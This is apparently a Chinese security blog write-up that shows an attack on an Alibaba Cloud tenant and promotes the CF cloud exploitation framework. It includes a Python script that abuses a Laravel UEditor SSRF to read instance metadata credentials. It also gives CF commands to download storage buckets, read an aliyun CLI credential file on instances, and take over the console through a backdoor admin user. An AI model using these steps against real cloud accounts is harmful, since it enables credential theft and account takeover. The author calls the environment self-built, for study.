【漏洞案例】云上攻防之云主机中web应用自身漏洞

0x00 前言

最近在做项目的时候，测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点，并且发现这个 SSRF 漏洞可以读取到临时凭证，这不巧了，正好最近写了一个云环境利用的工具。

开始之前这里先简单介绍一下这个工具，CF 是这个工具的名字，通过它可以很方便的进行云上内网渗透，比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。

项目地址：GitHub - teamssix/cf: Cloud Exploitation Framework 云环境利用框架，方便安全人员在获得 AK 的后续工作

使用手册：CF 云环境利用框架使用手册 | T Wiki

十分建议在使用 CF 的时候，边使用边参考 CF 的使用手册，发现 CF 更多功能，那话不多说，下面咱们就开始吧。

0x01 打点，但，是云环境

一开始还是信息收集，首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架，接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。

这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中，下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。

然后我们读取返回的文件地址，通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg，说明这里确实存在 SSRF 漏洞。

通过查询该域名所属 IP，发现该站点位于云上，那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息，但是这样每次获取数据都要手动发两个数据包就很麻烦，所以这里简单搞个脚本。

import sys
import requests

ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}

req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)

print(req2.text)

通过查询该站点的 IP 得知该站点位于阿里云上，阿里云的元数据地址为 http://100.100.100.200/latest/meta-data，我们尝试获取一下。

可以看到成功获取到了元数据信息，并且值得注意的是，在元数据信息里还有 ram/目录，这就意味着这台实例存在临时访问凭证，也就是说存在被进一步利用的可能性。

我们一步步打开 ram/目录，在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。

不同于传统的打点，云环境的打点在我看来，除了传统打点的类型外，拿到云服务的 Access Key 也应该可以被称之为打点，那么在打到点后，接下来就可以开始内网横向了。

0x02 云上内网横向，也得细心呀

当我们拿到临时访问凭证后，首先要做的就是得知道这个凭证具备哪些权限。

我们先把凭证配置到 CF 里，CF 下载地址：Releases · teamssix/cf · GitHub

cf configure

查看当前凭证的权限

cf ls permissions

可以看到当前权限具有 OSS 的全部权限，并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。

这里先列出 OSS 资源看看

cf oss ls

可以看到在该凭证下有四个存储桶，一个是公开的，三个是私有的。

查看一下存储桶里有哪些文件

cf oss ls -b bucketName

利用 CF 下载文件，如果想下载全部对象，则不指定 -k参数即可。

cf oss get -b bucketName -k objectKey

大概翻了一下存储桶里的文件，在公有存储桶里大部分是图片，私有存储桶里有几十个压缩包文件和大量图片等等，这几百张图片里只发现了几张有敏感信息的图片，整体来说价值不大。

后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件，最后在几十个压缩包里终于找到了一个有高价值的配置文件，于是事情开始出现了转机，不得不说，还是得细心啊。

查看这个配置文件，发现在配置文件里写的是「OSS 相关配置信息」

但是当我们配置上这个 AK 后，发现这个 AK 还具有 ECS 的权限。

在后来拿下管理员权限后，我们发现这个用户被配置到了具备 ECS 权限的用户组里去了，所以这里才会有 ECS 的权限。

先用 CF 看一下有哪些 ECS 实例

cf ecs ls

使用 CF 一键获取临时访问凭证

cf ecs exec -m

发现只有一个实例可以获取到临时访问凭证，而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。

于是通过临时访问凭证横向的这条路就断了，那就继续在实例上信息收集吧，看看能不能找到什么有价值的信息，最后发现有一台实例安装了 aliyun cli 工具，并且配置过 AK，那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。

cf ecs exec -c "cat ~/.aliyun/config.json"

将 CF 配置上这个 AK，并查看权限

发现这个 AK 的权限要比之前的几个都要大，这个 AK 具有 AliyunRAMFullAccess权限，这也就意味着我们可以创建一个管理员后门用户，并通过该用户去接管控制台。

0x03 拿下云上管理员权限，相当于拿下“域控”？

使用 CF 一键接管控制台

cf console

在浏览器中，打开控制台登录地址，并输入用户名、密码进行登录。

在访问控制里，可以看到当前权限为AdministratorAccess，这也就意味着我们已经拿到了该租户的管理员权限。

在控制台中看看这个账号下的 OSS 对象存储服务

其他的 ECS、RDS 等等云服务也都是可以查看并操作的，这里就不再一一截图了，到这里为止，其实在我看来就相当于已经拿下了传统内网中的“域控”权限。

基本上这个云账号下的绝大部分操作都是可以执行的了，只不过在控制台下有些操作需要二次校验，但其实还是有办法绕过的，绕过的方法也很简单，相信你能猜到 ~

最后还有一些值得注意的地方，是需要了解的：

在 ECS 实例中执行一些高危命令，例如反弹 Shell 这类，可能会引发云盾告警。
CF 接管控制台会创建一个后门用户，在使用完后，记得取消接管，使用 cf console cancel命令即可取消接管，后门用户也会随之删除。
为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用，文中少部分内容非真实发生且部分内容进行了省略。
出于保护目标但又想学习交流的目的，以上云上环境均为个人搭建，不代表目标的实际情况。